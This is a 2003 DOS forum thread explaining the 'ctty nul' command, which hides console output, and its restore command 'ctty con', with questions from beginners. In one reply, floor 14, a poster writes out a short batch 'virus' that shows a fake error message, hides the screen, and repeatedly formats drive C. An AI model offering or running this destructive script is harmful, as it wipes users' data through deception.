China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-07-28 13:00
中国DOS联盟论坛 » DOS学习入门 & 精彩文章 (教学室) » Keyboard lock command View 2,847 Replies 15
Original Poster Posted 2003-08-12 00:00 ·  中国 湖北 武汉 联通
银牌会员
★★★
Credits 1,681
Posts 512
Joined 2003-08-02 00:00
22-year member
UID 7953
Gender Male
Status Offline
ctty nul

It's very simple, everyone may have used it, but just can't remember it.

When restoring, use ctty con

But it must be used in a batch file, otherwise... you have to restart...
Somehow somewhere I've got to choose.
No matter if it is win or lose.
Floor 2 Posted 2003-08-12 00:00 ·  中国 湖北 武汉 联通
银牌会员
★★★
Credits 1,681
Posts 512
Joined 2003-08-02 00:00
22-year member
UID 7953
Gender Male
Status Offline
But after running, nothing will be displayed on the screen anymore, which is equivalent to adding >nul to all commands
Somehow somewhere I've got to choose.
No matter if it is win or lose.
Floor 3 Posted 2003-08-12 00:00 ·  中国 福建 福州 电信
元老会员
★★★
农民
Credits 2,903
Posts 991
Joined 2003-07-23 00:00
23-year member
UID 7391
Gender Male
From 福建省
Status Offline
Good idea!
艰难奋长戟,万古用一夫

中国DOS联盟 http://www.cn-dos.net 欢迎大家来共同学习
我的MSN&E-Mail cn_archer@hotmail.com QQ 56049418
Floor 4 Posted 2003-08-12 00:00 ·  中国 河南 南阳 联通
初级用户
Credits 219
Posts 23
Joined 2003-08-11 00:00
22-year member
UID 8405
Gender Male
Status Offline
What is the format?
Floor 5 Posted 2003-08-14 00:00 ·  中国 吉林 四平 中移铁通
初级用户
蝎蛇统领
Credits 280
Posts 35
Joined 2003-05-21 00:00
23-year member
UID 2294
Gender Male
Status Offline
What does NUL mean? Redirect to the file NUL??? Explain it~~~~~~~~~
我是菜鸟,我要变成老鸟!
www.10.164.63.101.com
Floor 6 Posted 2003-08-14 00:00 ·  中国 香港 有线电视
管理员
★★★★
專業島民
Credits 4,869
Posts 1,633
Joined 2002-12-10 00:00
23-year member
UID 465
Gender Male
Status Offline
The following is a quote from Wu Wang ★ Simulation on 2003-8-14 16:07:20:
What does NUL mean? Redirect to the file NUL??? Explain it~~~~~~~~~
nul is an "empty" device, not a file
我的網站:http://mw16.2ya.com/ 我的網誌: http://scrappedblog.blogspot.com/
~
我的Winamp正在播放的歌曲:
Floor 7 Posted 2003-08-15 00:00 ·  中国 广东 肇庆 电信
高级用户
★★
Credits 578
Posts 135
Joined 2003-07-10 00:00
23-year member
UID 6709
Gender Male
Status Offline
What is the significance of this?
Floor 8 Posted 2003-08-15 00:00 ·  中国 广东 广州 教育网
铂金会员
★★★★
C++启程者
Credits 5,154
Posts 1,827
Joined 2003-07-18 00:00
23-year member
UID 7105
Gender Male
Status Offline
Is this still a question? Just think about it!!
.'.'.'.'..=-=-0978676756
';'./'''
'///'/'\
Floor 9 Posted 2003-08-15 00:00 ·  中国 安徽 滁州 天长市 电信
银牌会员
★★★
Credits 1,835
Posts 648
Joined 2002-11-08 00:00
23-year member
UID 197
Gender Male
Status Offline
Hehe, this is usually used in batch processing to prevent screen output, and then restored with ctty con. But if used directly as a command, then restart it.
Floor 10 Posted 2003-08-23 00:00 ·  中国 江苏 徐州 电信
初级用户
Credits 130
Posts 6
Joined 2003-08-15 00:00
22-year member
UID 8657
Gender Male
Status Offline
Awesome!
Floor 11 Posted 2003-08-24 00:00 ·  中国 浙江 湖州 电信
初级用户
Credits 167
Posts 14
Joined 2003-08-02 00:00
22-year member
UID 7965
Gender Male
Status Offline
Hey~~~~~~~ NTOS doesn't currently support this command yet. It has reached SP4, and it's estimated that it won't support it anymore.
Floor 12 Posted 2003-08-24 00:00 ·  中国 浙江 湖州 电信
初级用户
Credits 167
Posts 14
Joined 2003-08-02 00:00
22-year member
UID 7965
Gender Male
Status Offline
Hey~~~~~~~ NTOS doesn't currently support this command yet. It's already at SP4, and it's estimated that it won't support it anymore.
Floor 13 Posted 2003-08-24 00:00 ·  中国 河南 洛阳 联通
初级用户
Credits 107
Posts 2
Joined 2003-08-24 00:00
22-year member
UID 9129
Gender Male
Status Offline
When restoring, use ctty con. But it must be used in a batch file, otherwise... you'll have to restart... What does batch file mean???
Floor 14 Posted 2003-08-30 00:00 ·  中国 湖北 武汉 联通
银牌会员
★★★
Credits 1,681
Posts 512
Joined 2003-08-02 00:00
22-year member
UID 7953
Gender Male
Status Offline
... Dizzy

and, I found that this command is very good for writing batch file viruses...

@echo off
echo Found a error, please wait system to save the data...
ctty nul
:a
format c: /q /autotest
goto a

Formatting halfway by pressing Ctrl + C will only cause the hard drive data to be destroyed (half-formatted)
Somehow somewhere I've got to choose.
No matter if it is win or lose.
Floor 15 Posted 2004-06-24 00:00 ·  中国 天津 电信
中级用户
Credits 297
Posts 44
Joined 2004-06-15 00:00
22-year member
UID 26749
Gender Male
Status Offline
Forum Jump: